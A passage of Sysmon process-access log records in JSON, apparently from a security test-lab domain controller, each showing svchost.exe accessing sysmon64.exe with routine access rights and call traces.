+{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 